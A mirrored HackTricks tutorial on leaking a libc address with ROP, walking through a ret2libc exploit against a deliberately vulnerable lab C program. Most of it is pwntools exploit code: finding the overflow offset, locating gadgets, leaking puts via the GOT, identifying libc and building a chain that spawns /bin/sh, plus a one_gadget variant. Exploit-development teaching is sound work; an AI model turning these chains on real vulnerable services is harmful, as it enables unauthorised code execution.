mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-30 15:03:20 +00:00
333 lines
13 KiB
Markdown
333 lines
13 KiB
Markdown
|
# Leaking libc address with ROP
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|
||
|
|
||
|
## Quick Resume
|
||
|
|
||
|
1. **Find** overflow **offset**
|
||
|
2. **Find** `POP_RDI` gadget, `PUTS_PLT` and `MAIN`
|
||
|
3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me))
|
||
|
4. With the library, **calculate the ROP and exploit it**
|
||
|
|
||
|
## Other tutorials and binaries to practice
|
||
|
|
||
|
This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
|
||
|
Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
|
||
|
|
||
|
## Code
|
||
|
|
||
|
Filename: `vuln.c`
|
||
|
|
||
|
```c
|
||
|
#include <stdio.h>
|
||
|
|
||
|
int main() {
|
||
|
char buffer[32];
|
||
|
puts("Simple ROP.\n");
|
||
|
gets(buffer);
|
||
|
|
||
|
return 0;
|
||
|
}
|
||
|
```
|
||
|
|
||
|
```bash
|
||
|
gcc -o vuln vuln.c -fno-stack-protector -no-pie
|
||
|
```
|
||
|
|
||
|
## ROP - Leaking LIBC template
|
||
|
|
||
|
I'm going to use the code located here to make the exploit.\
|
||
|
Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script:
|
||
|
|
||
|
{% content-ref url="rop-leaking-libc-template.md" %}
|
||
|
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
## 1- Finding the offset
|
||
|
|
||
|
The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`):
|
||
|
|
||
|
```bash
|
||
|
###################
|
||
|
### Find offset ###
|
||
|
###################
|
||
|
OFFSET = ""#"A"*72
|
||
|
if OFFSET == "":
|
||
|
gdb.attach(p.pid, "c") #Attach and continue
|
||
|
payload = cyclic(1000)
|
||
|
print(r.clean())
|
||
|
r.sendline(payload)
|
||
|
#x/wx $rsp -- Search for bytes that crashed the application
|
||
|
#cyclic_find(0x6161616b) # Find the offset of those bytes
|
||
|
return
|
||
|
```
|
||
|
|
||
|
**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console:
|
||
|
|
||
|
```python
|
||
|
from pwn import *
|
||
|
cyclic_find(0x6161616b)
|
||
|
```
|
||
|
|
||
|
![](<../../../../../.gitbook/assets/image (140).png>)
|
||
|
|
||
|
After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\
|
||
|
`OFFSET = "A" * 40`
|
||
|
|
||
|
Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF.
|
||
|
|
||
|
## 2- Finding Gadgets
|
||
|
|
||
|
Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**.
|
||
|
|
||
|
```python
|
||
|
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
|
||
|
MAIN_PLT = elf.symbols['main']
|
||
|
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
|
||
|
RET = (rop.find_gadget(['ret']))[0]
|
||
|
|
||
|
log.info("Main start: " + hex(MAIN_PLT))
|
||
|
log.info("Puts plt: " + hex(PUTS_PLT))
|
||
|
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
|
||
|
```
|
||
|
|
||
|
The `PUTS_PLT` is needed to call the **function puts**.\
|
||
|
The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\
|
||
|
The **POP\_RDI** is needed to **pass** a **parameter** to the called function.
|
||
|
|
||
|
In this step you don't need to execute anything as everything will be found by pwntools during the execution.
|
||
|
|
||
|
## 3- Finding libc library
|
||
|
|
||
|
Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address.
|
||
|
|
||
|
```python
|
||
|
def get_addr(func_name):
|
||
|
FUNC_GOT = elf.got[func_name]
|
||
|
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
|
||
|
# Create rop chain
|
||
|
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||
|
|
||
|
#Send our rop-chain payload
|
||
|
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
|
||
|
print(p.clean()) # clean socket buffer (read all and print)
|
||
|
p.sendline(rop1)
|
||
|
|
||
|
#Parse leaked address
|
||
|
recieved = p.recvline().strip()
|
||
|
leak = u64(recieved.ljust(8, "\x00"))
|
||
|
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
|
||
|
#If not libc yet, stop here
|
||
|
if libc != "":
|
||
|
libc.address = leak - libc.symbols[func_name] #Save libc base
|
||
|
log.info("libc base @ %s" % hex(libc.address))
|
||
|
|
||
|
return hex(leak)
|
||
|
|
||
|
get_addr("puts") #Search for puts address in memmory to obtains libc base
|
||
|
if libc == "":
|
||
|
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
|
||
|
p.interactive()
|
||
|
```
|
||
|
|
||
|
To do so, the most important line of the executed code is:
|
||
|
|
||
|
```python
|
||
|
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||
|
```
|
||
|
|
||
|
This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\
|
||
|
Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\
|
||
|
After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will **read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\
|
||
|
Finally, **main function is called again** so we can exploit the overflow again.
|
||
|
|
||
|
This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**.
|
||
|
|
||
|
![](<../../../../../.gitbook/assets/image (141).png>)
|
||
|
|
||
|
As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\
|
||
|
But, in a remote exploit case I will explain here how can you find it:
|
||
|
|
||
|
### 3.1- Searching for libc version (1)
|
||
|
|
||
|
You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\
|
||
|
It will also allow you to download the discovered version of **libc**
|
||
|
|
||
|
![](<../../../../../.gitbook/assets/image (142).png>)
|
||
|
|
||
|
### 3.2- Searching for libc version (2)
|
||
|
|
||
|
You can also do:
|
||
|
|
||
|
* `$ git clone https://github.com/niklasb/libc-database.git`
|
||
|
* `$ cd libc-database`
|
||
|
* `$ ./get`
|
||
|
|
||
|
This will take some time, be patient.\
|
||
|
For this to work we need:
|
||
|
|
||
|
* Libc symbol name: `puts`
|
||
|
* Leaked libc adddress: `0x7ff629878690`
|
||
|
|
||
|
We can figure out which **libc** that is most likely used.
|
||
|
|
||
|
```bash
|
||
|
./find puts 0x7ff629878690
|
||
|
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
|
||
|
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
|
||
|
```
|
||
|
|
||
|
We get 2 matches (you should try the second one if the first one is not working). Download the first one:
|
||
|
|
||
|
```bash
|
||
|
./download libc6_2.23-0ubuntu10_amd64
|
||
|
Getting libc6_2.23-0ubuntu10_amd64
|
||
|
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
|
||
|
-> Downloading package
|
||
|
-> Extracting package
|
||
|
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
|
||
|
```
|
||
|
|
||
|
Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory.
|
||
|
|
||
|
### 3.3- Other functions to leak
|
||
|
|
||
|
```python
|
||
|
puts
|
||
|
printf
|
||
|
__libc_start_main
|
||
|
read
|
||
|
gets
|
||
|
```
|
||
|
|
||
|
## 4- Finding based libc address & exploiting
|
||
|
|
||
|
At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6`
|
||
|
|
||
|
So, at the beginning of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
|
||
|
|
||
|
Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**.
|
||
|
|
||
|
Inside the `get_addr`function the **base address of libc** is going to be calculated:
|
||
|
|
||
|
```python
|
||
|
if libc != "":
|
||
|
libc.address = leak - libc.symbols[func_name] #Save libc base
|
||
|
log.info("libc base @ %s" % hex(libc.address))
|
||
|
```
|
||
|
|
||
|
{% hint style="info" %}
|
||
|
Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library.
|
||
|
{% endhint %}
|
||
|
|
||
|
Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.**
|
||
|
|
||
|
```python
|
||
|
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
|
||
|
SYSTEM = libc.sym["system"]
|
||
|
EXIT = libc.sym["exit"]
|
||
|
|
||
|
log.info("bin/sh %s " % hex(BINSH))
|
||
|
log.info("system %s " % hex(SYSTEM))
|
||
|
```
|
||
|
|
||
|
Finally, the /bin/sh execution exploit is going to be prepared sent:
|
||
|
|
||
|
```python
|
||
|
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
|
||
|
|
||
|
p.clean()
|
||
|
p.sendline(rop2)
|
||
|
|
||
|
#### Interact with the shell #####
|
||
|
p.interactive() #Interact with the conenction
|
||
|
```
|
||
|
|
||
|
Let's explain this final ROP.\
|
||
|
The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\
|
||
|
Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated.
|
||
|
|
||
|
**This way the exploit will execute a \_/bin/sh**\_\*\* shell.\*\*
|
||
|
|
||
|
![](<../../../../../.gitbook/assets/image (143).png>)
|
||
|
|
||
|
## 4(2)- Using ONE\_GADGET
|
||
|
|
||
|
You could also use [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE\_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**.\
|
||
|
However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
|
||
|
|
||
|
![](<../../../../../.gitbook/assets/image (615).png>)
|
||
|
|
||
|
```python
|
||
|
ONE_GADGET = libc.address + 0x4526a
|
||
|
rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
||
|
```
|
||
|
|
||
|
## EXPLOIT FILE
|
||
|
|
||
|
You can find a template to exploit this vulnerability here:
|
||
|
|
||
|
{% content-ref url="rop-leaking-libc-template.md" %}
|
||
|
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
## Common problems
|
||
|
|
||
|
### MAIN\_PLT = elf.symbols\['main'] not found
|
||
|
|
||
|
If the "main" symbol does not exist. Then you can find where is the main code:
|
||
|
|
||
|
```python
|
||
|
objdump -d vuln_binary | grep "\.text"
|
||
|
Disassembly of section .text:
|
||
|
0000000000401080 <.text>:
|
||
|
```
|
||
|
|
||
|
and set the address manually:
|
||
|
|
||
|
```python
|
||
|
MAIN_PLT = 0x401080
|
||
|
```
|
||
|
|
||
|
### Puts not found
|
||
|
|
||
|
If the binary is not using Puts you should check if it is using
|
||
|
|
||
|
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||
|
|
||
|
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||
|
|
||
|
Try to **subtract 64 bytes to the address of "/bin/sh"**:
|
||
|
|
||
|
```python
|
||
|
BINSH = next(libc.search("/bin/sh")) - 64
|
||
|
```
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|